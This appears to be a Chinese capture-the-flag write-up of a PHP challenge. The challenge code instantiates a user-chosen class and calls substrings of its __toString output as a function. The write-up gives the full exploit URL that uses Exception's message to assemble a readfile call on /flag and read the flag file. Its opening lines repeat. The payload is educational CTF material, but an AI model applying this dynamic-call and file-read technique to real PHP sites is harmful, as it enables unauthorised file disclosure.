首先代码如下,关键点就在于这几行。其实就是通过substr来截取字符串并在最后一行当做函数来调用
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);
扫一扫关注公众号,长期致力于安全研究
前言:这是前段时间打的一场比赛
首先代码如下,关键点就在于这几行。其实就是通过substr来截取字符串并在最后一行当做函数来调用
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);
<?phperror_reporting(0);show_source(__FILE__);Class Hello{public $filename;public $contents;public function __construct(){$this->filename = "hint.php";$this->contents = "you guess";}public function fileread(){echo "keep going";}}$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];if(preg_match("/Error|ArrayIterator|Exception/i", $c)) {die("hello");}$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);?>
那需要截取什么字符串呢?这里就使用Exception中的_toString方法来回显信息,因为在34行中有substr来切割字符串、
本地通过print打印出现了回显,而Exception: 则是起始位置,readfile是8个位置,所以
$str1 = substr($class->$c(),$d,$e);的d是11 e是8,这样就截取到了readfile这个字符串
所以现在的坐标是19
$str2 = substr($class->$c(),$f,$g); f则为19,g是/flag的长度为5
现在$str1为readfile $str2为
http://xxxxx/?a=Exception&b=readfile/flag&c=__toString&d=11&e=8&f=19&g=5
这样flag就出来了
~.~